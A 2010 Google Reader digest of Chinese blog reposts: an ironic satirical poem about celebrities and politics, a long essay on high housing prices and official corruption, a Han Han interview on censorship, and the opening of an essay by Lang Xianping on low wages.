不是不报，时间不到——足坛崩盘的启示 / 2010-01-23 12:12 / 评论数(2)

 

 

Things you can do from here:

• Subscribe to 一五一十部落推荐文章 using Google Reader
• Get started using Google Reader to easily keep up with all your favorite sites

 

 

冰清玉洁武藤兰，三贞九烈小泽圆。坚持原创郭小四，低调沉稳数韩寒。

很有趣。共欣赏。

 

 

Sent to you by Willing via Google Reader:

 

 

冰清玉洁武藤兰，三贞九烈小泽圆。坚持原创郭小四，低调沉稳数韩寒。

via 河蟹娱乐 by 胡戈戈 on 2/15/10

来源链接
　　冰清玉洁武藤兰，三贞九烈小泽圆。
　　不近女色陈冠希，天生丽质金喜善。
　　坚持原创郭小四，低调沉稳数韩寒。
　　清心寡欲小日本，万恶帝国美利坚。
　　与邻为善以色列，安宁祥和阿富汗。
　　国强民富看朝鲜，宇宙起源在南韩。
　　民主典范金正日，和平斗士本拉丹。
　　言论自由互联网，从不删贴管理员。
　　只讲真话西西踢维，人民喉舌焦点访谈。
　　
　　天籁之音曾轶可，大家闺秀李宇春。
　　守口如瓶宋祖德，字正腔圆周杰伦。
　　洁身自好赵忠祥，铁汉无泪冷朱军。
　　水准专业孙正平，从不口误韩乔生。
　　貌若天仙芙蓉姐，百毒不侵满文军。
　　学识渊博余秋雨，淡泊名利查良镛。
　　勤俭持家章小蕙，从不炒作张纪中。
　　
　　严肃正经数猫扑，从不掉线是天涯。
　　寡言多肉陈鲁豫，青春少女王小丫。
　　尖嘴猴腮毕福剑，优秀记者冬日娜。
　　铁骨铮铮郭沫若，白面书生奥巴马。
　　遍地腐败新加坡，没有炸弹巴格达。
　　矜持自爱杨二姑，代言保真侯耀华。
　　和风细雨马景涛，苗条骨感沈殿霞。
　　平胸熟女苍井空，忧郁神兽早泥马。
　　
　　舍己为人范跑跑，眉清目秀冯小刚。
　　用色淡雅张艺谋，人高马大潘长江。
　　书法大师毛新宇，铁血男儿小沈阳。
　　物美价廉奥菲斯，低调奢华阿迪王。
　　无人问津招聘会，人人可买商品房。
　　从不假摔小小罗，料事如神贝球王。
　　
　　高大威猛数梅西，只争第一是国安。
　　足坛巨擘李大帝，世界强队国足男。
　　中国公民李连杰，一个中国陈水扁。
　　文明执法闵行区，国虎出没镇坪县。
　　正直高尚５毛党，兢兢业业公务员。
　　干净公平全运会，春风拂面好城管。
　　无毒无害三鹿奶，营养健康方便面。
　　
　　尊重事实数精英，温文尔雅是愤青。
　　诚信经营陈天桥，永不模仿马化腾。
　　低速行车杭州市，交通顺畅北京城。
　　无家可归贾君鹏，重庆好人谢才萍。
　　反黑先锋文局长，两袖清风周九根。
　　安全游戏躲猫猫，强身健体俯卧撑。
　　爱管闲事酱油党，不明真相老百姓。
　　水深火热蛮夷众，欢欣鼓舞天朝民。

---

河蟹好吃

• 小伙子,我的香港脚你能治吗？
• 09不折腾
• 武藤兰【醍醐堂记】
• 偷来一篇蛋疼文。。。一句比一句蛋疼。。。
• 那些短却叫人很心疼的句子

原文链接: http://kisshi.com/2010/02/15/wu-teng-lan/
河蟹娱乐 Copyright © 2007-2009 爱祖国,爱人民,唉派对。
更多精彩欢迎您订阅http://feed.kisshi.com,更加欢迎投稿
胡戈戈独立博客主机合租破盘价只要100元

 

 

Things you can do from here:

• Subscribe to 河蟹娱乐 using Google Reader
• Get started using Google Reader to easily keep up with all your favorite sites

 

 

【ZZ】由房奴传唱《没有房地产就没有新中国》想到的

原文链接：http://bbs.xm.soufun.com/2212221382~-1~414/36196106_36196106.htm

最近一段时间以来，一首改编的《没有房地产就没有新中国》歌曲在网络上、手机短信上广泛流传，更有人将这首歌录制成MP3供人下载。据悉，传唱这首歌曲的绝大部分是房奴一族，或者是没有买房的人。这首歌词大意是：
没有房地产就没有新中国，
　　
　　没有房地产就没有新中国。
　　
　　房地产，它不断占耕地；
　　
　　房地产，它一心谋暴利。
　　
　　房地产，它忽悠就能涨。
　　
　　房地产，它一心救开发商，
　　
　　它指引了富豪圈钱的方向，
　　
　　它引导贪官走向富裕。
　　
　　它坚持了疯涨八年多，
　　
　　它改善了官员的生活；
　　
　　它构建了升官GDP，
　　
　　它收取黑钱好处多。
　　
　　没有房地产就没有新中国，
　　
　　没有房地产就没有新中国。

可以说这首歌曲有点“反动”，因为从小我们都是唱《没有共产党就没有新中国》长大的，而现在变成了“没有房地产就没有新中国”，难道房地产要取代共产党的地位不成？这首当下改编的流行的歌曲，有点恶搞。但话又说回来了，人民群众，特别是基层房奴，热衷于传播这样恶搞的歌曲，其实是对高房价的无奈和愤怒，对现实社会的不满。据中国社会科学院的2010年《经济蓝皮书》，85%以上城镇家庭无能力购买房价高企的住房。因为，城市居民的房价收入比已达到8.31倍，农村居民的房价收入比则高达29.44倍。(上海证券报12月10日)这个房价比，仅仅是全国而言。现在上海、北京等地的房价已飙升到了一家人年收入的20至30倍，就连房价波动相对小的广州，房价也达到了当地人收入的15倍。然而美国中等家庭年收入差不多为4.5万美元，房价平均不过11万美元，收入比最多约为3倍。连高层都对当前的房价“深恶痛绝”，替老百姓说真话：一套房子榨干三代人的积蓄；85%的家庭没有能力购买住房；大城市的房价让年轻的白领绝望；我是副部级官员也买不起房。

的确，最近几年房价犹如坐上了长征系列火箭，一飞冲天。像上海这样的大城市，房价前几年是321，现在都快成了632（中心6万、中坏线3万，郊区2万每平米）了，而当前绝大多数上海白领阶层每月工资平均在4000-5000左右，要想到市区买套房子，需要几百万，不吃不喝需要几十、甚至上百年，因此白领也会绝望，更别说蓝领、普通工薪阶层了。上海是我国的大都会，价格高有它的理由，那中小城市如何呢？2009年二三线城市的涨幅令人咋舌，更离谱的是江苏、浙江一些县城的房价涨到了6500-7000每平米。2009年一年的房价成了脱缰的野马，一路狂奔，但是老百姓的收入在2009年却没有随房价一起飙升。电视剧《蜗居》中有句代表广大群众心声的一句台词：“你们当官的是怎么管的，房价这么高，工资这么低”。这句台词，正是我们要问的，如今房价基本上是月月涨、年年涨，然而我们有很多人的工资却是多年原地踏步。比较“反动”的《没有房地产就没有新中国》之所以在全国各地传唱开来，实属人民群众的无奈啊，中国共产党宣称是全心全意为人民服务的政党，十七大报告中强调要让老百姓住得起房子，看得起病，上的起学。这几句话在亿万国人耳畔萦绕，然而现实却是靠工资买房纯属扯淡，85%的家庭买不起房子。老百姓有怨言也在情理之中，把这个怨气撒在执政党身上也合情合理。

上个世纪中叶，中国共产党对中国最大的贡献就是在解放后消灭了剥削，铲除了万恶的地主。但是现在的高房价造就了新的地主，新的剥削阶级。从公布的我国富豪榜上看，地产商占据绝大多数，而且这个队伍在高房价的利益带动下还在不断壮大。在国际上，有国家把建筑业作为支柱产业，但从来没有哪个国家把房地产业作为经济发展的支柱产业，离谱的是，我们这里很多人却把被房地产寄生的建筑业也归到房地产之列！可笑若此！房地产开发商是什么？我国的绝大部分开发商自己并不建房，也不会建房。在我国房地产产业链条上，规划由政府有关部门做，设计由设计单位负责，住房由建筑企业建造，开发商扮演的只是"中间人"或"皮包商"的角色。这正是开发商能够经常游手好闲，丢下企业四处忽悠的根本原因--因为他丢下的是一个皮包公司，这种景象在其他行业是几乎看不到的。开发商让建筑商垫资为其盖房，然后，拖欠建筑企业的工资，农民工工资拖欠问题由此而来。显然，在我国，许多被人当作明星吹捧的开发商（全世界除了中国再无这类异常现象），不过是投机钻营之徒，他们通过购买高文凭，或者豢养职业文人，编织歪理邪说，自抬身价，欺骗民众，最后达到谋取暴利。就是这样一个与腐败相伴相生的高度扭曲与畸形的行业，居然快成为或者正在成为我国的支柱产业，且是"重要支柱产业"！

前些年，就有很多有良知的学者和人大代表多次呼吁，建设廉租房，解决穷人的住房问题。在权贵经济体中，决策者最畏惧穷人的力量，因为，这是最可能揭竿而起威胁稳定的群体，因此，廉租房问题终于受到重视--也必然会受到重视。 中国真正的住房问题，在于庞大的夹心层问题，这个庞大的群体既无缘享受廉租房又买不起商品房的群体，接受开发商等既得利益集团的盘剥，正是中国高房价得以维持的根源--通过按揭使得一些夹心层陆续沦为房奴来力托房价！培养一批吃一批！这才是支撑中国房价的最终推动力。

因为，中国所有的富人或者一定级别的官员都拥有住房，且不只一套住房，而强化商品房市场的垄断性，让夹心层成为被肆意掠夺的羔羊，是维持高房价的唯一途径。在全世界房价因经济危机下跌的情况下，只有在中国，由于强大的权力资源与奸商的联姻，完成了一次试图弄假成真的房价上涨游戏。徒不知，这种做法在虐杀民众，肆意豪饮他们鲜血的同时，也把中国经济推向了悬崖边缘。房价涨，富人和官员们都在笑，只有穷人在哭。富人笑是因为自己的很多房子都升值了，赚钱了，官员笑是因为从高房价中可以捞更多的好处了，而只有穷人在哭，因为房价不断上涨，他们需要付出的血汗钱就越多，要向银行借更多的高利贷（以贷款40万，还贷30年，按照目前3.64的年利率来算，就要还近40万的利息，一共需要还款80万），“卖身当房奴”日子就更长。不断高涨的房价将会造成地产开发商和炒房者越来越富裕，而没房一族愈加贫困。更可怕的是，不断高涨的房价不仅仅造成贫富差距加剧，笔者以为还会带来以下六大危害：

第一，中国高房价正在撕裂有着具有浓郁伦理精神的传统文化，正在培养重利轻义的民族价值观。
　　
　　当前中国房价之高不仅危及到整个社会民生，威胁到普通民众的物质生存。试想如果连自己的窝都没有，流浪在茫茫都市之中，一个城市化进程中的现代都市人的幸福感在哪里？有人说，买不起房子可以租房子。对，买不起也只能租房子了。但是租房子会遭遇到一些自己永远无法把握的问题，他永远不能确定下个月自己居住这个城市的什么地方，也永远不能保证自己的孩子搬到新地方后会不会适应，会不会遭遇到安全问题？如果那些专家学者积极鼓吹租房子代替买房子，我想这是对人类进化趋势的侮辱。在上万年之前，人类终于有能力放弃流浪生活、开始定居生活和原始农业，文明才得以积累。如果说租房子完全可以解决一个民族的居住问题，那么人类当初完全没有必要定居下来，流浪在茫茫荒野之中可能更有生活的新鲜感。另外如果都去租房，那租房价格又炒上了天。上海白领每月薪水5000，租个50平米的房子，每个月就得1800，基本上每月薪水三分之一就没有了，如果外地人都在上海租房，租房的价格就会疯长，估计到时候每个月的工资都不够租房了。

第二，中国高房价正在毁坏年轻一代的纯洁的爱情，正在毁灭一切真善美的一切。

当下，正在热播的电视剧《蜗居》，真实第反映了中国年轻一代的爱情观和价值观正在受到高房价的腐蚀和毁坏。有些年轻的姑娘为了房子背叛自己的心上人，为了能够有个安身立命之处甘愿牺牲自己的肉体，充当官员和富商的性具，其目的就是房子，诸如此类不一而足。在任何一个时代、在任何文化语境下，爱情都是一种美好的、甚至值得用生命去追求的超越性的生存方式。《诗经》描绘古时青年男女相爱互赠礼品传递美好爱情时说：“投之以桃李，报之以琼瑶。”估计这个方式在当下年轻人中已经不管用了，真正管用的可能是：“投之以轿车，报之以房子。”“嫁爱情，还是嫁房子？”对现在很多年轻女孩，这已经不是问题。因为现实摆在面前，高房价下，与情投意合的人一辈子很可能流浪一生，跟没有多少感情、但是他却有房子的那个人在一起一辈子可以衣食无忧。这个选择题估计没有多少干扰项目。因此美国的媒体对中国女孩谈恋爱所持有的这个标准感到很吃惊，但是他们很快就理解了。他们说：“在中国，房子成了效力强大的催情药”。我希望社会不要用道德标准苛求这些为了房子和生存压力而放弃纯洁爱情转而嫁给有房人的年轻女孩，不是这些女孩不追求爱情，是在中国高房价面前，纯洁爱情只能是个童话，就像过家家那样。这里涉及到某位名人的观点，他说：“房价是让未婚女孩炒上去的，如果你们都肯嫁没有房子的男生，房价怎么会涨。”是，如果那些未婚女孩都不要求买房子，自然买方人数会少一些。但是这一论调的背后透露的是厚颜无耻和别有用心，未婚女孩要求男方买房子只能说是中国高房价的一个结果，而不是其原因。如果中国房价不高到这样变态，高到足可以决定一个普通人一生的命运，那些年轻女孩不会向她的男朋友提出“不买房不嫁”的威胁。中国的房地产商不仅心狠，而且阴险，在此大家可以看得分明。中国房价不高到如此变态，又何至于此？！美国年轻人谈情说爱，几乎从不考虑对方的家庭背景、对方的贫富状况、对方有没有房子等，不是说他们境界高，而是说那些东西只要他们肯奋斗都会赢得的。因此他们谈情说爱，只为心中的那份纯洁的感动和对美好生活的憧憬，或者单纯为了性感（也比单纯为了房子更高尚）。中国年轻一代的美好心灵、对美好爱情的憧憬就这样被高房价毁坏了。

第三，中国高房价正在培养一个不劳而获的新地主阶级，正在毁坏民族的价值观和民族文化素养。
　　
　　中国房地产研究会副会长顾云昌近日表示，中国现在每年新建的房屋面积占到世界总量的50%。在中国钢铁、水泥、玻璃等建筑材料全面过剩、中国每年新建房屋面积占世界总量50%的情况下，居然出现85%以上城镇居民买不起住房，岂非咄咄怪事！老百姓为什么买不起房子？盖那么多的房子都去什么地方了，有些城市的小区房屋空置面积达到了75%，房子卖了却没有人来住，这些房子都被炒房的富人买走了，占据了大量的资源。飞涨的房价不断制造着暴利，吸引了一大批有钱的炒房人。如果一个人手中有房子，特别是有几套房子，他就可以什么工作都不做，坐在家中收房租或者等房子升值后卖出，就足以维持乃至挥霍一辈子。这无疑是在培养一批新的地主阶级，他们可以靠投机和祖上的遗产不劳而获，为自己赚取足够的财富去懒惰，去花天酒地；而他这样做的前提就是其他人必须终其一生把血汗钱送给他（更多的普通民众不得不送钱给他，因为持续上涨的房价让他始终买不起房子）。房价不断上涨，在巨大利益的驱使下，那些富豪们一掷千金，一下购买几十套、几百套房子，成为“房霸”，但是他们不是自住，而是转手卖高价，或者出租赚钱，成为不劳而获吃房子的人，在利益的引诱下，吸引着有钱人不断购买房子，造成房价不断攀升，在富人笑穷人哭的现实中，房价越来越高。这种现实等于说中国革命用了几千万人的鲜血和生命终于换来的消灭剥削阶级这一现状已经被改写，或者等于说不允许剥削阶级和不劳而获又被认可了。无论中国住房改革的初衷如何善良和美好，也无论中国房地产商对中国经济做出了多少贡献，但是一个不容驳斥的事实就是中国高房价正在培养一个不劳而获的新地主阶级，正在毁坏中华民族的勤劳务实的美德。这个新的地主阶级比旧社会的地主阶级更坏更可恨，因为后者还需要自己动脑筋甚至也需要勤劳才能维持现状，而现在的新地主阶级即房东阶层，只需要懒洋洋地躺在家中睡大觉，就有人把钱送上门来。这无疑是在毁坏中华民族的勤劳务实的价值观，鼓励投机主义和不劳而获。这不仅不公平，而且将从根本上毁灭一个民族。资本主义国家的政府为了不被选民轰下台去，没有一个敢于放纵“炒房”的。正因为住房是老百姓的“刚性需要”，当市场那只看不见的手在炒作时，政府那只看得见的手就要赶紧伸出来，表明自己是和人民站在一起的，而不是为开发商、投机商服务的，希望全心全意为人民服务的政党真正站到人民一边。遏制房价疯狂上涨，德国在这方面可谓有成功的典范，我们不妨学习借鉴，他们狙击炒房的三大“杀手锏”：一是为不同地段、不同类型的住宅制订了详细的“基准价格”，这类指导价有法律效力，所有房地产交易有义务参照此执行，在合理范围内浮动；二是对抬高房价者的刑罚威慑；三是重税限制。

第四，高房价是建立在沙尖上的华丽大厦，盖的越高，垮塌下来砸伤的人就更多。
　　
　　现在拉高房价的目的就是扩大内需，把老百姓的血汗钱都收刮到政府和开发商手中。但是老百姓把钱都拿出来买房子，就没有更多的钱来消费，民众可支配能力捉襟见肘，是造成内需不旺的主要原因。因此，疯狂飙升的房价已成为扩大内需的最大"杀手"。若任其继续张牙舞爪，有可能拖累中国的经济发展。在拉动经济复苏和增长的"三驾马车"中，目前的状况是，出口长期低迷，内需"一蹶不振"，只有投资"一枝独秀"。2009年，国家出台4万亿的投资计划，头10个月近10万亿的巨额信贷增量，各地政府纷纷发行的地方债券，想不刺激经济在短时间内迅速回暖乃至过热都难。但这种"繁荣"，更多的是一种"虚胖"，经济刺激成了房地产刺激，2009年全年涨的最快的就是房价了。而这种飞速上涨几乎就是在沙滩上建楼。这项庞大的经济刺激计划，使得大量的信贷资金流入楼市，投机炒房，房价犹如火箭被注入了燃料，有了足够的腾飞资本和动力，很快青云直上，直冲云霄。就目前一线城市的房价来说，早就高于一些发达国家大城市的房价了。世界通行房价收入之比，一般是3倍。而在我国，竟然达到10-20多倍。住房，顾名思义就是居住的房，而现在的楼市，已经彻底把中等以下收入人群赶出购房者之列，成了富人的游戏、资本的工具、财富的吸盘和投机、投资者的赌场。据中原房产调查，目前购房者60%以上为短线和长线投资客户。经济学家普遍认为，投资型需求一旦超过了25%，房地产市场将对消费起到抑制作用。

第五，中国高房价正在成为压在芸芸众生头上的大山，正在毁灭中国人的幸福，正在毁灭一切美好和有价值的东西。 　　
　　
　　 前不久，中央电视台《面对面》栏目采访了人大财经委副主任贺铿，他坦言：“我是副部级官员也买不起房子。”像他这个级别的干部好歹每月工资应该1万起吧，而哪些工资只有他五分之一的人，在中国可谓比比皆是，他好歹是国家的干部，有公房，而没有公房的人只能选择当房奴或者干脆成为无房一族了。中国当下的房价之高，已经成为整个民族、整个社会生存发展的毒瘤，没有一个普通人会感觉不到房子的巨大压力。除了那些少数的实业家、大款富足不说之外，更多的普通民众、刚刚毕业走向社会的80后大学生只能用年薪的20-30倍以上才可以买一套寒酸的房子，整个民族陷于居无定所、心无所依的现实之中，整个社会民众陷于终其一生为房地产商打工的悲惨现实之中。房子的巨大压力让他们不敢消费、不敢读书学习、不敢看病、不敢旅游、不敢听音乐会、不敢打昂贵的电话跟朋友沟通甚至不敢买零食（房奴的悲惨日子，媒体也多有描述，电视剧《蜗居》就是真实写照，不妨可以再看一段文字："从今天开始，不买衣服，不和朋友聚会，不乱逛街，没事就呆在家里睡觉。睡觉是最省钱的活动。记得以前看过一个在上海供房子的男青年的话，他说他们两口子星期天要睡到11点起床，目的就是为了省下来一顿饭钱。那时候还觉得夸张，现在想想，还真要这么干才行。当下，我们大部分人终日生活在财政恐慌之下，始终感觉到一个巨大的心理阴影压在心头，这样辛辛苦苦、忧心忡忡一辈子把血汗钱交给房地产商之后再也爬不起来了，离开了他终其一生赢得的那套房子，凄惨地走进阴冷的坟墓之中（据报道，现在大城市的墓地也需要几万，豪华的坟墓也需要上百万，面对残酷现实，很多人无奈苦笑：活着当房奴，死了还要当墓奴，作为一个中国人咋就这么痛苦呢？）这样生活一辈子，何福之有？！不要以为不买房子只租房子日子就会好过。

第六、中国高房价正在成为培育腐败官员的温床，正在毁坏我党形象，是官民矛盾激化的罪魁祸首。
　　
　　我们号称是共产党领导的社会主义国家，按照社会主义国家的本质，住房、教育、医疗应该作为社会福利分发给广大劳动者，但是极具讽刺的是，如今住房、教育、医疗反倒成为了压在中国普通老百姓头上的“三座大山”，使我们每天负重前行。从另外一个来看，中国的房价高得离奇，高的变态：美国的人均GDP是中国20―30倍，但是美国的楼市均价却没有比中国高20―30倍，我们现在上海深圳的房价比某些发达国家地区还高。前不久，某媒体报道，一位日本东京回到上海工作的留学生，对比了上海和东京的房价，按照收入比，得出的结论是上海房价比东京贵8倍。对比起来，中国按照承受力来算，中国的房价排在世界前列。大家可能要问，中国的房价为什么这么高，我要说的是第一个原因就是腐败造成的，据“两会”一位人大代表调查，现在开发商从买块地到楼盖成功要跑26个部门，这些衙门都要银子，开发商需要拿出一套房中的40%去搞公关，而这40%，羊毛出在羊身上，最终由买房的人掏。二是高房价背后有巨大的利益。人大财经委副主任贺铿一语道破天机：造成高房价的原因一个是炒房，另外一个就是炒地。土地都是政府出卖的，地卖的价格越高，当地政府官员捞取的好处就越多。地价卖的贵，房价也就自然高。以我所在的青岛为例，房价从2003年的3000元左右每平米，炒到今年的均价1万元多，青岛的房价在2003—2006年的三年时间，涨幅达到了全国十大沿海城市前三名，然而老百姓的收入却排在了沿海十大城市倒数第三。那三年时间青岛的房价疯狂无比，无不与杜世成的腐败有关，他把土地大肆高价卖出，以经营城市为主，结果造成了他当市委书记的时候青岛的房价疯长，老百姓都送杜世成为一个“毒死城”的绰号，杜世成落马后，青岛市民欢呼雀跃，导致杜世成落马的主要原因就是房地产，他的情妇，弟弟、妻弟都是从事地产开发的，可见房价不断上涨，他从中谋取的好处无数啊。

还有一个不能忽视的问题，就是房价不断疯长将会引起官员腐败。这绝对不是危言耸听。前不久，人大财经委副主任贺铿在接受中央电视台《面对面》记者专访时坦言：“房价太高，连我这样副部级官员都买不起房子。”作为一个月收入过万的高官都买不起，那基层县市级官员不就更买不起了吗？然而现实是，现在很多官员不仅有自己的私房，而且好多还不止一套房子，这就奇怪了，副部级官员都买不起，你怎么买得起，你的钱从何而来？如果不贪污，不与地产开发商同流合污，是买不起房子的。在不断高涨的房价下，公务员的工资远远不够买房子，他们势必利用手中的权利以权谋私，收取贿赂去买房子，这也是被高房价逼迫的。所以，房价上涨势必成为官员腐败的幕后推手。另外，高房价可能引发社会动荡，老百姓对社会不满情绪将日趋严重。旧社会很多农民没有地种，租地主的地种，日子过的很悲惨，引发了老百姓对旧社会的不满，从而跟随共产党闹革命。如今，开发商、富豪和官员垄断了整个楼市，不断哄抬价格。前不久，我在青岛一家报纸上看到一个楼盘，打出广告每平米9600元，结果两天后打电话去一问，涨到11800元，问为什么价格与报纸上不一样，售楼部回答：“大哥，你没有看报纸吗？地铁正式开工了，我们这个楼盘就在地铁沿线，俗话说：地铁一动工，房价往上冲，这是常规，你要赶紧买，不然地铁修好后，好要涨价!”你说开发商的心黑不？2天时间涨了2000多，这不是抢劫吗？在街道上抢劫还有人报案，而房地产商抢劫正大光明，没有人管。我就感到奇怪了，市面上很多商品都有物价局定价，不得人为提价，可唯独这个房价是开发商说了算，他想要多少就多少，物价局从来不限制。我们只能从黑心的开发商手中购房，成为房奴，打工几十年来还贷款，这如旧社会的长工有何区别？现在老百姓买房子是多么的困难，买了房子后又是多么地艰辛？可那些开发商和官员们，从来不缺房子。而国家允许炒房，那些富豪们一掷千金，一买就是几十套、上百套，他们不是居住，而是囤积在手上赚大钱，升值后卖给没有房子的人，这些人和当年的地主一样，垄断着这个资源，这对穷人极不公平，穷人一套也买不起，或者再从炒房者手中购买高价房。两下对比让普通群众寒心啊，长久下去官民矛盾激化，社会怎么和谐？现在官民矛盾、仇富心态越来越严重已是不争的事实。当年，我们的先辈打出“打到土豪，打到土豪，分田地”的口号起来闹革命，如今会不会因为很多人没有房子住而打出“打到房霸，打到房霸，我要住房”的口号呢？这个问题值得政府的反思和警惕。


最近，一部反映房奴生活，揭露房地产开发商和贪官罪丑恶嘴脸的电视剧《蜗居》火遍大江南北，作为一个房奴，我也在网上看了这个电视剧，看完后感到心里堵得慌，名牌大学毕业找不到好的工作，买不起房子，天天吃挂面，而且那些当官的住洋房，包二奶，与开发商相互勾结谋取暴利，那管穷人死活。现实残酷得如此真实，让人不得不对这个电视剧叫好。鉴于此，《没有房地产就没用新中国》这首改编的歌曲才能有市场，有些人说，传播这首歌是在给党抹黑，而我要说的是，没有人能够给党抹黑，给党抹黑的没有别人，就是党的干部在给党抹黑，怨不得别人。当今社会，所有光怪离奇、无比愤怒、特别恶心、无聊无奈的事情，都与两个字有关，那就是“贪官”，党的形象彻底被这两个字搞坏了。如果贪官为了利益沦为房地产的“囚徒”，那么中国的未来不堪设想。
　　
　　现在很多人怀念改革开放前的那段岁月，的确，那个年代的人民是穷，生活水平也比不上现在，但那时候人民最起码有一个栖身之地，再看看现在，社会是进步了，经济基础是比以前好多了，但我们失去了连低级动物都会有的一个“暖巣”，我们现在就像过节的老鼠，官商们人人都想着榨取我们身上仅剩的一点“油水”，最终我们跑累了，心力交瘁了，只能任凭宰割。无奈的时候，我们这些房奴只能眼含热泪，一遍又一遍地吟唱《没有房地产就没有新中国》，我们坚信，政府不会对疯狂的房价放任自流的，总有一天要出来管的，因为我们知道没有共产党就没有新中国，而不是“没有房地产就没有新中国”，党决不允许房地产取代自己的历史地位和未来的地位，等着瞧好了，楼市崩盘的那一天，就是房地产开发商跳楼的一天，希望这样的悲剧不要在中国大陆上演，要想避免历史悲剧，长痛不如短痛，唯一的办法就是早一些挤掉泡沫，让房价回归合理水平，使老百姓都能买的起，维持供求平衡，从而真正拉动内需，保持房地产健康平稳发展！

答记者问——送点土特产

 

 

Sent to you by Willing via Google Reader:

 

 

答记者问——送点土特产

via 韩寒 by 韩寒 on 2/11/10

1：你之前不开微博？而现在开是为什么？（内媒）

之前不开是因为接受不了每一篇深情款款的博客文章的最后冒出一句描红加粗的：

我最近在玩新浪微博，很酷，很新潮。就像演出完美结束刚谢幕就坠台了，比赛顺利完成刚冲线就撞墙了。

 

 

2：你说现在中国流行拜金主义很好，为什么？（内媒）

因为现阶段的中国是一个没有信仰和缺少理想的国家，大家都很现实，很多年轻人的理想就是房子一套。大家都只想着要有钱。一个国家完全可以用几十年去寻找信仰，在这个时期里，没有信仰，一定比有着错误的信仰要强。

 

3：但是拜金主义导致了毒奶粉等东西的横行，危害了国家（内媒，这个问题很聪明）

你转移了，毒奶粉的造成是因为政府监管不力。如果"想赚钱"和"做坏事"之间往往都能联系起来，那只能说明司法失职，而不是什么主义不主义，思想不思想，文化不文化，信仰不信仰的问题。

 

4：从最近网上的一些言论来看，好像中国人都很反对美国，是这样的吗？(外媒)

你可以把那些人召集起来，免费发发绿卡看看什么效果。事实上，至少我知道的现在那些接触资讯比较多的年轻人，他们都能保持自己独立的判断，中国操蛋的时候，他们认为中国操蛋，美国操蛋的时候，他们一样认为美国操蛋。这样的人越来越多，说话才越来越有意思。以前的中国，大家信奉的是，首先我是一个中国人，其次我是一个某地人。第一句对外，第二句对内，骂成一团。现在的中国年轻人，他们已经慢慢明白了首先我是人，其次我是一个中国人。包括我的父母，事实上在国际问题上，他们总是一个亲美，一个反美，但并不妨碍他们的性生活并把我生了下来，我生下来以后保持中立。这样不很好么？

 

 

5：你认为中国没有好的文化作品是因为中国审查的尺度太严格，但是很多国家对世界有影响的好作品都出自于这个国家并不完全自由的时期，而很多全自由的国家反而没有好的文学作品涌现，你觉得呢（来自外媒，这个问题很好，以下回答综合了其他一些问题的回答）

 

事实上，你说的很对。没有审查不一定能出好作品，但特别严格的审查一定出不了好作品。除非不想在国内混了。一来中文存在翻译的问题，比如拉丁语系国家，这个国家不让我出版，我可以在其他国家出版并且获得世界上的成功，情况有所不同。二来就像作曲，很多国家的作曲家有哆来咪发少拉稀，但我们国家只有少拉稀，网络时代到来以后，逐渐放开一些，有了咪发少拉稀，不是不能写出好曲子，但难度肯定增加了。因为每一个作家，每一个导演，每一个编剧在落笔的时候都会想，我这段内容会不会通过过审查。所有的编剧都知道一个信条，那就是市长可以是坏人，但市委书记一定要是好人，而且最后纪委一定要把坏人抓走。在物价和生活压力这么大的年代，大家势必更加小心翼翼，生怕龙颜大怒，自己丢了饭碗。当然，这也是中国比以前进步的地方，之前的中国很多人因言获罪，现在的中国最多就是让你禁言，比较少获罪。

比如说以下知名电影都是中国导演拍的，《肖申克的救赎》，我想他在中国就不能通过审查，第一，中国警察怎么会抓错人呢？第二，就算抓错了怎么还能让你跑出去呢？第三，监狱长怎么可能是坏人呢？不予通过。

比如说电影《教父》，不用说了，中国怎么可能有黑帮。不予通过。

比如说电影《蜘蛛侠》《蝙蝠侠》，中国的警察怎么可能搞不定，不予通过。

比如说电影《牯岭街少年杀人事件》，建议改成《牯岭街成人杀人事件》，并且主要要反映我民警如何机智迅速的破案。

比如说电影《杀人回忆》，警察到最后怎么能连凶手都没有找到，不予通过。

比如说电影《贫民窟的百万富翁》，反映社会阴暗和落后的一面，中国怎么可能有贫民窟呢，不予通过。建议将主人公的出身定为普通知识分子家庭，从小学习成绩很好，最后才答对了那些问题。

比如说美剧《24小时》，怎么可能让一个已经被组织开除的人当了英雄拯救国家呢？不予通过。

比如说美剧《SEX AND CITY》，内容都不用审了，名字直接就给屏蔽了。

比如说昆丁的电影——不用说片名了，这个人就压根没拍过电影。

比如说动画片《辛普森一家》，直接抄家。

欢迎大家补充。

 

当然，有《海上钢琴师》《天堂电影院》《阿凡达》《飞屋历险记》等我们这里稍作修改也能通过审查的电影，但是你知道，这是超越了社会的不和谐去表达人类的电影。这种段数不是说我不能拍ＡＢＣ，所以为了躲避我拍一个Ｄ，而是我拍腻了ＡＢＣ，我想拍个Ｄ。写作也是这样。事实上，这不是电影局的责任，也不是作家协会的责任，这不是谁的责任，但是我们大家的责任。中国人就靠着一些因为说不清楚的原因发财了的人去国际上一买就是一百个ＬＶ来获取国际社会的认可么？国人现在的心态是这样的，一个人剥削一万个人，大家正骂着呢，突然这个人飞去日内瓦车展买一台全世界最贵的跑车，消息传到国内来，那一万个人都很自豪。

算了吧，没有真正强大的文化，没有真正输出的作品，外国人看你永远像你看山西煤老板一样。

中国之真正的强大，除非十三亿人一人一台奔驰，否则就取决于现阶段有没有真正让全世界信服的文化作品。这需要所有的文化人和官方共同的努力，只要你松绑，我们从来不缺好的艺术家，当然可能我不是，但一定有一批人是。哪怕是批评你的作品，你一样扶持它，这样的文化部门才是受人尊敬的。要不然你打算永远靠熊猫和茶叶去感动全世界吗。

我们总是把送外国人一点土特产当成在给外国人输出文化了。

 

 

我最近在玩新浪微博，很酷、很新潮。
   http://t.sina.com.cn/hanhan/profile  

 

 

 

Things you can do from here:

• Subscribe to 韩寒 using Google Reader
• Get started using Google Reader to easily keep up with all your favorite sites

 

 

郎咸平：中国人为什么收入低

郎咸平：中国人为什么收入低
推荐者：想水的树 (积分 118) | 原作者：郎咸平
56

顶一下

　收藏

做一个算术题，把国民工资收入加在一起，除上国家的GDP，欧美最高，大约55%，南美洲平均38%,东南亚包括菲律宾、泰国是28%，中东大概是25%，非洲都在20%以下，而中国是8%，全世界最低。


再看一个数据，人均工资第一名德国，30美元一小时，第二名美国，22美元，泰国是2美元，我们是8毛钱，全世界最后。而且我们的人均工作时间全世界最长，一年要2200小时，多么勤劳的民族。


再看GDP，到去年为止我们是大幅上升，但储蓄上升很缓慢，什么拉动GDP，GDP又增长了多少，到后来才发觉跟老百姓没啥关系，老百姓财富反而跟GDP差距越拉越大。之前瑞信投行的报告，说2004年后中国家庭收入增长了50%，我说都是胡说八道，外资投行写报告都是有目的的，比如说拉开股价，或者要在在中国干什么。


